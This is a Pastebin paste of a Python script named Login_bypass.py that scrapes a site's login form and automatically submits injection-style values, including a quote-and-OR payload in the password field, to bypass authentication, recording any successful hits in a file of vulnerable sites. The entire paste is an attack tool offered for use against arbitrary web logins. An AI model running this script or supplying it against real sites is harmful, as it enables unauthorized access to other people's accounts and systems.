xosski

Login_bypass.py

Jan 1st, 2025
462
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.73 KB | None | 0 0
  1. import requests
  2. import re
  3.  
  4. def get_post_url(ng, site):
  5. """Extracts the post URL from the HTML response."""
  6. posturl_matches = re.findall(r"post\('[^']*'|POST\('[^']*'|action=\"[^\"]*\"", ng)
  7. posturl = ""
  8. if posturl_matches:
  9. posturl = sorted(set([re.sub(r"action=\"|post\('|'\"", '', u) for u in posturl_matches]))[0]
  10. if "action=\"http" in ng:
  11. post = re.search(r'action="([^"]*)"', ng).group(1)
  12. else:
  13. # Determine base post URL structure
  14. if re.search(r"\.", site.split("/")[-1]):
  15. tmp = site.split("/")[-1]
  16. post = site.replace(tmp, "")
  17. else:
  18. post = f"{'/'.join(site.split('/')[:2])}{posturl}"
  19. return post
  20.  
  21.  
  22. def extract_form_values(ng):
  23. """Extracts form input fields and their current values."""
  24. value_matches = re.findall(r'(<input).*?(>)', ng)
  25. values = []
  26. for match in value_matches:
  27. name_value = re.findall(r'name="([^"]*)" value="([^"]*)"', match[1])
  28. if name_value:
  29. values.extend(name_value)
  30. return "&".join([f"{name}={val}" for name, val in values])
  31.  
  32.  
  33. def attempt_login(post, postdata):
  34. """Attempts to log in by sending a POST request."""
  35. try:
  36. response = requests.post(post, data=postdata)
  37. return response.text
  38. except requests.RequestException as e:
  39. print(f"[ERROR] Request failed: {e}")
  40. return None
  41.  
  42.  
  43. def bypass(target, exploits):
  44. """Attempts login bypass using a list of exploits."""
  45. sukses = ""
  46. print(f"\n[*] Starting {target}")
  47.  
  48. site = target.replace("http://", "").replace("https://", "")
  49. try:
  50. ng = requests.get(f"http://{site}").text
  51. except requests.RequestException as e:
  52. print(f"[ERROR] Failed to retrieve the page: {e}")
  53. return
  54.  
  55. post = get_post_url(ng, site)
  56. value = extract_form_values(ng)
  57.  
  58. # Get form parameters (limit to 2 parameters for simplicity)
  59. param_matches = sorted(set(re.findall(r'name="([^"]*)', ng)))
  60. param1 = param_matches[0] if param_matches else ""
  61. param2 = param_matches[1] if len(param_matches) > 1 else ""
  62.  
  63. for xploit in exploits:
  64. print(f"[INFO] Trying login with: {xploit}")
  65.  
  66. # Prepare POST data
  67. if "@gmail" in xploit:
  68. postdata = f"{param1}={xploit}&{param2}=''or{value}"
  69. else:
  70. postdata = f"{param1}={xploit}&{param2}={xploit}{value}"
  71.  
  72. response_text = attempt_login(post, postdata)
  73.  
  74. # Check for common login failure error messages
  75. if response_text and re.search(r"(User|user|password|Password|Username|username|email|Email|salah|Salah|Gagal|wrong|Invalid|error)", response_text):
  76. print(f"[INFO] Login failed with: {xploit}")
  77. print(f"Post data: {post} -d {postdata}\n")
  78. else:
  79. if xploit == "test" or not xploit:
  80. print("[INFO] Failed to get login\n")
  81. break
  82. success_message = f"\n+++++++++++++++++++++!!![ login success ]!!!+++++++++++++++++++++\nSite: {target} \nLogin: {xploit}"
  83. print(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++")
  84. with open("vuln.txt", "a") as f:
  85. f.write(f"{success_message}\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  86. print(f"\a[INFO] Login successful\nSite: {target}\nLogin: {xploit}\nSaved: vuln-bypass.txt\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n")
  87. break
  88. else:
  89. print("[INFO] All exploits failed.")
  90.  
  91.  
  92. # Example usage:
  93. if __name__ == "__main__":
  94. target = "http://example.com"
  95. exploits = ["[email protected]", "[email protected]", "test"]
  96. bypass(target, exploits)
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment